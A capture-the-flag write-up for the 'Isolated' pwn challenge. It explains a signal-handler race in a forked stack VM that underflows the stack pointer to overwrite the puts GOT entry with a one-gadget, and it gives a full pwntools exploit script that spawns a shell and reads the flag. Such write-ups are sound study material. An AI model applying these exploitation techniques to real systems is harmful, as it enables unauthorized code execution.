Isolated
Author: pql
Tags: pwn
Points: 884 (19 solves)
Description:
Simple VM, But isloated.
We’re provided a small executable that fork()
s and sets up a server-client relation, where the parent process acts as server that receives instructions from the client. We can provided 0x300
bytes of custom instructions that will be ran on the simple stack architecture VM that the server and client define together. The client and server share a memory mapping (with MAP_SHARED
) that they will use for communication of routine arguments and results.
The architecture
The server defines a few signal handlers that respectively push, pop and clean the stack, and one that enables “logging mode”. The logging mode makes all other signal handlers print some debug information before executing. The stack has defined bounds at stack_ptr = 0
and stack_ptr = 768
, after which pop
and push
respectively will fail.
The client is tasked with decoding the provided instructions, and then sends a signal to the parent process to execute a signal handler. The signal handler then executes, and a variable in the shared memory is set to indicate the result. It should be noted that the following seccomp policy is applied to the child:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x03 0xc000003e if (A != ARCH_X86_64) goto 0005
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x06 0x00 0x00 0x00000001 return KILL
This hints us towards that fact that we should be exploiting the parent process.
There’s a few defined instructions:
<0> <xx xx xx xx> pushes xx xx xx xx
<1> pops (into the void)
The next instructions can take either a 4-byte immediate or a value popped from the stack.
A pop is denoted by <0x55> and an immediate is denoted by <0x66> <xx xx xx xx>. We'll call this a <imm/pop>
<2> <imm/pop> <imm/pop> adds two operands and pushes the result
<3> <imm/pop> <imm/pop> subtracts two operands and pushes the result
<4> <imm/pop> <imm/pop> multiplies two operands and pushes the result
<5> <imm/pop> <imm/pop> divides two operands and pushes the result
<6> <imm/pop> <imm/pop> compares if the two operands are equal and sets a flag if this is the case.
<7> <imm/pop> jumps to the operand
<8> <imm/pop> jumps to the operand IF the flag is set (see 6)
<9> cleans the stack
<10> <imm/pop> sets log mode to the operand (any non-zero value is on)
Anything else will kill parent and child immediately.
The bug
All pops and pushes are blocking (they wait for the result), except the normal push and pop instructions <0> and <1>. Since these instructions don’t wait for the result, they can cause a desynchronization of state. We can trigger a signal handler in the parent whilst another signal handler is already running, which is effectively a kind of concurrence on a single execution core. We can use the resulting race condition to circumvent the bound check for pop
and push
in the parent process.
The resulting exploit underflows the stack pointer to -1, at which point we can navigate the stack pointer to a GOT entry (I picked puts
) and use the add instruction (<2>
) to add a constant offset to a one shot gadget to its lower four bytes.
Winning the race was mostly a bunch of trial and error, I combined pop
with clean_stack
, so the stack pointer will be zeroed but the pop
routine will still decrement it. On local docker, i was able to win the race about 25% of the time, but on remote it is less than 1%.
The exploit
from pwn import *
from pwnlib.util.proc import descendants
context.terminal = ["terminator", "-e"]
BINARY_NAME = "./isolated"
LIBC_NAME = "./libc.so"
REMOTE = ("3.38.234.54", 7777)
DOCKER_REMOTE = ("127.0.0.1", 7777)
context.binary = BINARY_NAME
binary = context.binary
libc = ELF(LIBC_NAME)
EXEC_STR = [binary.path]
PIE_ENABLED = binary.pie
BREAKPOINTS = [int(x, 16) for x in args.BREAK.split(',')] if args.BREAK else []
gdbscript_break = '\n'.join([f"{'pie ' if PIE_ENABLED else ''}break *{hex(x)}" for x in BREAKPOINTS])
gdbscript = \
"""
set follow-fork-mode child
"""
def handle():
env = {"LD_PRELOAD": libc.path}
if args.REMOTE:
return remote(*REMOTE)
elif args.LOCAL:
p = process(EXEC_STR, env=env)
elif args.GDB:
p = gdb.debug(EXEC_STR, env=env, gdbscript=gdbscript_break + gdbscript)
elif args.DOCKER:
p = remote(*DOCKER_REMOTE)
else:
error("No argument supplied.\nUsage: python exploit.py (REMOTE|LOCAL) [GDB] [STRACE]")
if args.STRACE:
subprocess.Popen([*context.terminal, f"strace -p {p.pid}; cat"])
input("Waiting for enter...")
return p
def main():
l = handle()
#print(l.pid)
"""
<0> <xx xx xx xx> pushes xx xx xx xx
<1> pops (into the void)
The next instructions can take either a 4-byte immediate or a value popped from the stack.
A pop is denoted by <0x55> and an immediate is denoted by <0x66> <xx xx xx xx>. We'll call this a <imm/pop>
<2> <imm/pop> <imm/pop> adds two operands and pushes the result
<3> <imm/pop> <imm/pop> subtracts two operands and pushes the result
<4> <imm/pop> <imm/pop> multiplies two operands and pushes the result
<5> <imm/pop> <imm/pop> divides two operands and pushes the result
<6> <imm/pop> <imm/pop> compares if the two operands are equal and sets a flag if this is the case.
<7> <imm/pop> jumps to the operand
<8> <imm/pop> jumps to the operand IF the flag is set (see 6)
<9> cleans the stack
<10> <imm/pop> sets log mode to the operand (any non-zero value is on)
anything else kills the parent immediately
"""
ONE_GADGETS = [
0x4f432,
0x10a41c
]
rel_og_offsets = [og - libc.symbols['puts'] for og in ONE_GADGETS];
print(rel_og_offsets)
dbg = lambda x: [10, 0x66, *p32(x)]
pop = lambda: [1]
cmp_pop_blocking = lambda y: [6, 0x55, 0x66, *p32(y)] # compares if popped value equal to 0 and sets flag
push_blocking = lambda x: [2, 0x66, *p32(x), 0x66, *p32(0)] # adds
jmp = lambda x: [7, 0x66, *p32(x)]
clean_stack = lambda: [9]
cmp_imm_imm = lambda: [6, 0x66, *p32(0x41414141), 0x66, *p32(0x41414142)]
add_constant = lambda x: [2, 0x66, *p32(x & 0xffffffff), 0x55]
payload = [*dbg(0x01)] # 6
start = len(payload)
offset = (0x203100 - binary.got['puts']) // 4
print(offset)
payload.extend([
*push_blocking(1),
*[*cmp_imm_imm() * 10],
*pop(), *pop(),
*clean_stack(),
*[*cmp_imm_imm() * 10],
*cmp_pop_blocking(0xffffffff),
*dbg(1),
*[*cmp_imm_imm() * 5],
*[*push_blocking(-offset & 0xffffffff) * 2],
*add_constant(rel_og_offsets[0]),
*dbg(1), # get shell!
])
payload.extend(jmp(len(payload)))
print(len(payload))
payload = bytes(payload)
#print(hexdump(payload))
l.recvuntil(b"opcodes >")
l.send(payload)
print(f"puts @ {hex(libc.symbols['puts'])}")
time.sleep(3)
l.sendline("cat flag")
assert b"timeout" not in l.stream()
if __name__ == "__main__":
main()